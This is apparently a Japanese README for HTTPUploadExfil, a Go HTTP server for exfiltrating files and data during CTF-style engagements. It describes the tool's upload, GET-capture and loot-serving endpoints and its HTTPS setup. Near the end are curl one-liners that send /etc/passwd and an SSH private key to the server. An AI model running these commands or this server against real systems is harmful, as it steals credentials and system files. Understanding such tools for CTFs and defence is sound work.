
例えばCTF中にファイル/データの配信や流出させるためのシンプルなHTTPサーバー。
HTTPUploadExfil は Go で書かれた(非常に)シンプルな HTTP サーバーで、HTTP を使ってマシンからファイル(やその他の情報)を取得するのに便利です。多くのユースケースがありますが、リスクの低い攻撃シナリオ(CTF など) で使用することを想定しています。
これは python3 -m http.server のデータ取得版と考えてください。マシンにデータを送り込むのではなく、マシンからデータを取り出すためのものです。
もちろん、これは非常に派手で、ある程度制限のあるデータ流出方法です。それでも、SMB や FTP を使うよりは手軽で便利です。もっと洗練された方法をお探しなら、たとえば dnsteal や PyExfil をご覧ください。
go build でツールをビルドします。./httpuploadexfil :1337 /home/kali/loot を実行します。http://YOUR_IP:1337/ にアクセスします。/home/kali/loot にあります。HTTPs が必要な場合は、以下の情報を参照してください。
GitHub から Linux および Windows 用のバイナリ をダウンロードすることもできます。ただし、これらのバイナリは必ずしも最新の変更を反映しているわけではありません。
バイナリは提供されていますが、自分でビルドすることを強くお勧めします。そうすれば最新バージョンを使え、何を実行しているかを正確に把握できます。手順は簡単です:
フォルダ内で go build を実行するだけで、プラットフォーム向けの httpuploadexfil 実行ファイルが得られます。
ツールに変更を加えた場合は、go fmt main.go でフォーマットしてください。
または、make を使ってビルドすることもできます。SSL 証明書を生成するには make cert を実行します(下記参照)。
最も一般的な使い方は、マシン A でサーバーを実行し、マシン B からブラウザでアップロードフォームにアクセスし、流出させるファイルを選択することです。もちろん、下記のように curl などを使って行うこともできます。
ファイルのアップロード以外にも、HTTPUploadExfil を使って単純な GET リクエストでデータを流出させることもできます。/g エンドポイントにリクエストを送信すると、リクエスト全体がディスクに保存されます。
したがって、リクエストのヘッダーを使ってデータを流出させることができます。GET パラメータ(例:?data=...)を使うのが最も簡単ですが、他の方法もあります。

デフォルトでは、HTTPUploadExfil はポート 8080 で提供されます。すべてのファイルはカレントディレクトリに書き込まれます。
./httpuploadexfil
引数を指定することもできます:
./httpuploadexfil :1337 /home/kali/loot
リクエストログが必要な場合は、-log フラグを指定します:
./httpuploadexfil -log
最初の引数はバインドアドレス、2 番目はファイルを保存するフォルダです。
また、このツールは loot ディレクトリ内のファイルを /l エンドポイントで公開します。これはターゲットにファイルを簡単に転送する方法として使用できます。
Web サーバーは 4 つのエンドポイントを提供します:
/ (GET) はアップロードフォームです。/p (POST) はアップロードフォームからのデータを受け取ります。file フィールドが入力された multipart/form-data リクエストが必要です。/g (GET) は任意の GET リクエストを受け取り、リクエスト全体をサーバーに保存します。/l (GET) は指定されたフォルダ内のファイルへのアクセスを提供します(ディレクトリリスト)。これは基本的な python3 -m http.server 機能を提供するためのものです。HTTPUploadExfil は HTTPs モードでも使用できます。そのためには、HTTPUploadExfil.csr と HTTPUploadExfil.key ファイルをバイナリの隣に配置します。これらは以下のように生成できます:
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
これを行うには、make cert を実行することもできます。
サーバーが HTTPUploadExfil.csr ファイルを検出すると、HTTPs モードで起動しようとします。HTTP に戻すには、証明書ファイルを削除またはリネームしてください。
Bash を使用すると、GET 経由で次のようにデータを流出させることができます:
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
もちろん、curl を使ってファイルを流出させることもできます:
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server 機能の提供)